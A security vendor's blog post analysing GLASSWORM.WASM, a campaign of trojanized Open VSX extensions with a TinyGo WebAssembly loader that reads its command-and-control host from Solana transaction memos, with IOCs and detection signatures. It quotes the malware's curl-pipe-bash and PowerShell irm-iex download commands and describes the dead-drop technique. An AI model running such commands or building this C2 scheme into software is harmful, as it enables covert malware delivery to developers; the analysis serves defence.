On June 9, 2026, Argus flagged two trojanized Open VSX extensions that ship a TinyGo-compiled WebAssembly payload and use Solana transaction memos to resolve command-and-control infrastructure. The extensions exargd.vsblack@0.0.1 and noellee-doc.flint-debug@0.1.1 matched the GLASSWORM patterns we had been tracking, so we pulled the surrounding scan history and the WASM binary apart.

This post covers the full campaign footprint Argus captured, including seven distinct malicious extensions, as well as the WebAssembly payload itself — its structural fingerprint, its ChaCha20 + XOR string obfuscation, and why TinyGo creates a distinctive detection surface.

Timeline

Argus first lit up on the broader GLASSWORM Solana wave on 2026-05-23 at 09:48 UTC, on finlay-ab.vscode-latex-runner. The threat actor’s wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz had been funded at 03:18 UTC that same day and posted its first dodod.lat memo at 03:44 UTC — less than six hours before Argus saw the first malicious upload.

The two WASM variant extensions later covered in public reporting were uploaded a little over two weeks later:

Extension Open VSX upload Argus scan completed Verdict Risk
ExarGD.vsblack-0.0.1.vsix 2026-06-09 04:27 UTC 2026-06-09 04:27 UTC MALICIOUS 90
noellee-doc.flint-debug-0.1.1.vsix 2026-06-10 12:28 UTC 2026-06-10 12:28 UTC MALICIOUS 85

The YARA rules that fired — Y_Mal_tinygo_wasm_solana_exfil_t1 and Y_Mal_tinygo_wasm_solana_exfil_t2 — match structural fingerprints in the TinyGo WASM binary rather than decrypted strings, so the verdicts were available at scan completion time.

The Full Campaign Footprint in Argus

Postgres scan history shows the two publicly reported names are only the start. The same payload family, carried under different impersonated or disposable publisher namespaces, produced seven distinct malicious extension names between 2026-06-09 and 2026-06-12:

Extension First Argus scan Content hashes observed Max risk
ExarGD.vsblack-0.0.1.vsix 2026-06-09 2 90
noellee-doc.flint-debug-0.1.1.vsix 2026-06-10 1 85
kmsbofoxpf.fcrhyhewjv-0.0.1.vsix 2026-06-12 05:00 1 88
sfqkrvjrtl.prdoypxjbi-0.0.1.vsix 2026-06-12 05:03 1 75
GoNZooo.aurora-gonz-0.9.4.vsix 2026-06-12 05:07 1 85
istornz.koby-1.0.0.vsix 2026-06-12 05:17 1 85
qizhao.element-vue-snippets-2.0.2.vsix 2026-06-12 09:33–18:17 6 90

The threat actor submitted at least six different content hashes of the same qizhao.element-vue-snippets-2.0.2 version string over nine hours, which is the namespace-iteration burst pattern we have seen in earlier GLASSWORM waves. One late hash matched Y_Mal_tinygo_wasm_solana_exfil_t3, a broader rule variant, suggesting the threat actor was tuning the build to evade the tier-1/tier-2 signatures. All of these share the same TinyGo js/wasm payload family; the exact binary hash varies by build. We analyzed the binary with SHA256 2417df8fdc0f94e22a850892e3f6f8bc7122a079073b5ea725b3b0f2076357d8 for this post.

The WebAssembly Loader

The payload is a TinyGo js/wasm build: 469 functions, 17 exports, 45 data segments, and only 17 imports. There are no direct network, filesystem, or process imports. Every I/O path is delegated to the JavaScript host through the syscall/js bridge (gojs.syscall/js.valueCall, valueGet, valueNew, copyBytesToGo, etc.). This is why the module can sit in a VSIX, look like an inert .wasm, and still reach fetch, require('child_process').execSync, and process.platform once the host loads it.

The JavaScript shim, oanyxekywdosumzl.js, is the standard TinyGo wasm_exec.js runtime with minor formatting changes. This shim is the required bridge; paired with the .wasm it enables the malicious behavior.

String Encryption

Static grep against the raw binary returns nothing for api.mainnet.solana.com, the wallet, child_process, execSync, or powershell. The meaningful strings are encrypted. What we do find in the data section is the ChaCha/Salsa20 constant:

data d_expand32bytek4D(offset: 65536) =
  "expand 32-byte k\f0\f0\f0..."

The 32-byte key is generated at runtime by chacha20_rng calling wasi_snapshot_preview1_random_get. This is an intentional design choice that moves IOCs out of the file and into runtime memory.

The same choice creates a detection opportunity. Because the module must still carry the ChaCha20 constant, the gojs.syscall/js bridge, and the Solana RPC reflection metadata (main.sigInfo, main.txResp, main.parsedIns), Argus can flag it at upload time without ever seeing a decrypted string.

Static Reconstruction

The payload uses a two-layer string obfuscation:

  1. ChaCha20 keystream generated from the constant and a runtime 32-byte key.
  2. A repeating 4-byte XOR mask applied afterward, using the constant 0x1020300F (decimal 270596655) found across the decryption loops.

The binary’s DWARF symbols name the three relevant functions chacha20_init, chacha20_rng, and chacha20_update. The last one is the string-decrypt entry point: after ChaCha20, it XORs each output byte with a position-dependent byte from 0x1020300F:

i & 3 XOR byte
0 0x0F
1 0x30
2 0x20
3 0x10

The secondary XOR mask is an extra obfuscation layer we did not see described in public reporting. It means an analyst who recovers the ChaCha20 key from a memory snapshot still has to reverse this rolling byte mask before the plaintext appears.

Although the strings are encrypted, the build was compiled with debug info, meaning the symbol names are still present. From those symbols we recover the loader’s behavior directly:

Symbol What it tells us
main.rpcCall The module issues JSON-RPC calls against a Solana node.
main.jsFetch It reaches the network through the host’s fetch object.
main.platform It branches on process.platform.
main.extractMemo / main.memoFromIns / main.memoProgramIDs It parses SPL Memo instructions to read the C2 host.
main.openURL It handles URL retrieval from the memo-supplied host.
main.isOutgoing It filters transactions, likely to identify threat actor-controlled memos.
chacha20_init / chacha20_rng / chacha20_update String encryption uses ChaCha20; the key is generated by RNG.

These names, combined with the gojs.syscall/js import table and the Solana RPC response struct tags, let us map the attack chain without decrypting a single runtime string.

Dead-Drop Resolver

The module queries getSignaturesForAddress against the watched wallet, walks the returned signatures with before-based pagination, and fetches each transaction via getTransaction with encoding: "jsonParsed" and maxSupportedTransactionVersion. It parses the instructions array for any entry whose programId is one of the two SPL Memo program IDs, then reads the memo text from the parsed field. These query parameters match the prior GLASSWORM Solana wave we tracked in May.

The memo format we have observed in this threat actor’s prior waves is a numeric length prefix followed by the payload:

[9] dodod.lat

The loader strips the [9] prefix and uses the remainder as the C2 host. Because the wallet is on a public blockchain, there is no server to seize. The threat actor rotates infrastructure by signing a new memo transaction; every infected host picks up the new host on its next poll. The traffic blends with legitimate Solana dApp traffic because the RPC endpoint is api.mainnet.solana.com and the request is ordinary HTTPS JSON-RPC.

This is the same dead-drop primitive we documented in the May 25 GLASSWORM Solana post. The difference in this wave is the packaging: earlier variants shipped JavaScript-based loaders or Go PE implants; GLASSWORM.WASM ships the loader as TinyGo WebAssembly.

Final Payload

Once the C2 host is resolved, the module branches on process.platform and constructs the OS-specific retrieval command. The exact command templates are encrypted at rest, but the function names and URL path structure recovered statically point to the same pattern we have tracked across GLASSWORM waves. The expected templates are:

Platform Command
macOS curl -fsSL https://<host>/darwin/i/_ \| bash
Linux curl -fsSL https://<host>/linux/i/_ \| bash
Windows powershell -Command "irm https://<host>/win32/i/_ \| iex"

Execution is through require('child_process').execSync(cmd, { windowsHide: true }). The windowsHide flag is passed on every platform, not just Windows, which is a small but consistent operational artifact. The URL scheme /<platform>/i/_ implies the threat actor serves a distinct second stage per operating system from the same host.

Previous GLASSWORM Sightings

This is not a new actor. It is the same threat actor we have been tracking since late 2025, now on its fourth major packaging iteration:

  • GLASSWORM Solana Wave (May 2026 analysis) — JavaScript in-memory dropper with AES-256-CBC salt:iv:ciphertext stages, two-tier Solana memo C2 (dodod.lat for the dropper, jhggnrfnst.com for the Go PE implant), and Go-based Backup.exe persistence.
  • GLASSWORM Bane Forensics (April 2026 analysis) — disposable publishers, bot-inflated download counts, namespace squatting on developer-attractive names, and the same Solana wallet-based dead-drop primitive.
  • RustImplant (December 2025 analysis) — Rust-compiled .node native addon, AES-256-CBC over Base64 blobs, Solana memo C2 dead-drop.

The constants that persist across every iteration are the operational primitives, not the implementation language: AES/ChaCha20 runtime decryption, Solana memos for C2, disposable Open VSX publishers, and Russian-language artifacts or CIS geofencing in the compiled implants. The threat actor treats language and toolchain as interchangeable evasion layers. Detection has to live in the structural behavior — the import table, the toolchain fingerprint, and the blockchain-facing host bridge — because the code keeps changing.

Detection Signatures

Static string scanning fails against this family by design. The durable detection surfaces are structural and behavioral:

  • TinyGo js/wasm fingerprint in a VSIX: gojs.syscall/js.* imports, _start plus go_scheduler exports, and a .wasm file shipped alongside a small JS shim.
  • ChaCha20 + SPL Memo metadata in the binary: constant, main.sigInfo/main.txResp/main.parsedIns reflection tags, and function names like main.rpcCall, main.jsFetch, main.extractMemo, main.memoProgramIDs.
  • Outbound Solana RPC from unexpected code: getSignaturesForAddress followed immediately by getTransaction(jsonParsed) from a VS Code extension that is not explicitly Web3 tooling is a high-confidence signal.
  • SPL Memo program IDs in extension strings: MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr and Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFM are dead-drop parser targets.
  • Process execution from a Node runtime: node → bash/curl/powershell parent-child relationships, especially with windowsHide, catch Stage 3 regardless of which memo host is current.
  • The watched wallet: 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz is the fixed anchor. Re-resolve it periodically to track current infrastructure.

For Open VSX and VS Code fork users: if you installed ExarGD.vsblack@0.0.1 or noellee-doc.flint-debug@0.1.1 from Open VSX between June 9 and June 15, treat the host as compromised and rotate developer credentials. The genuine VS Code Marketplace listings under the same publisher names are the original 2019/2020 releases and were not affected.


Indicators of Compromise

Confirmed Malicious Extensions (Argus scan history)

ExarGD.vsblack-0.0.1.vsix
noellee-doc.flint-debug-0.1.1.vsix
kmsbofoxpf.fcrhyhewjv-0.0.1.vsix
sfqkrvjrtl.prdoypxjbi-0.0.1.vsix
GoNZooo.aurora-gonz-0.9.4.vsix
istornz.koby-1.0.0.vsix
qizhao.element-vue-snippets-2.0.2.vsix

WebAssembly Payload

  • SHA256 (analyzed in this post): 2417df8fdc0f94e22a850892e3f6f8bc7122a079073b5ea725b3b0f2076357d8

Network and Blockchain Indicators (Defanged)

  • Watched wallet: 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz
  • Second-stage host: dodod[.]lat

Detection Rule Fires in Argus

Y_Mal_tinygo_wasm_solana_exfil_t1
Y_Mal_tinygo_wasm_solana_exfil_t2
Y_Mal_tinygo_wasm_solana_exfil_t3

These rules match TinyGo js/wasm structural fingerprints, ChaCha20 evidence, and Solana JSON-RPC reflection metadata in the WASM data section. They do not rely on decrypted strings.

Conclusion

GLASSWORM.WASM is the same threat actor swapping the loader language. The C2 transport is still a Solana memo dead-drop and the endgame is still a platform-switched curl | bash / irm | iex fileless download. What changed is the packaging: TinyGo WebAssembly moves the loader out of JavaScript and into a binary that most extension scanners treat as opaque.

Argus did not treat it as opaque. The campaign was detected at upload time because the structural fingerprint of a TinyGo js/wasm module, a ChaCha20 constant, and Solana RPC reflection metadata is a stronger signal than any plaintext IOC.

These extensions and signals are consistently updated in the dev-guard extension. Built and maintained by the Yeeth Security team, dev-guard adds a crucial layer of protection for VS Code and Cursor AI users. By continuously monitoring new campaigns and pushing live updates, dev-guard helps shut down these threats before they can spread across the developer community.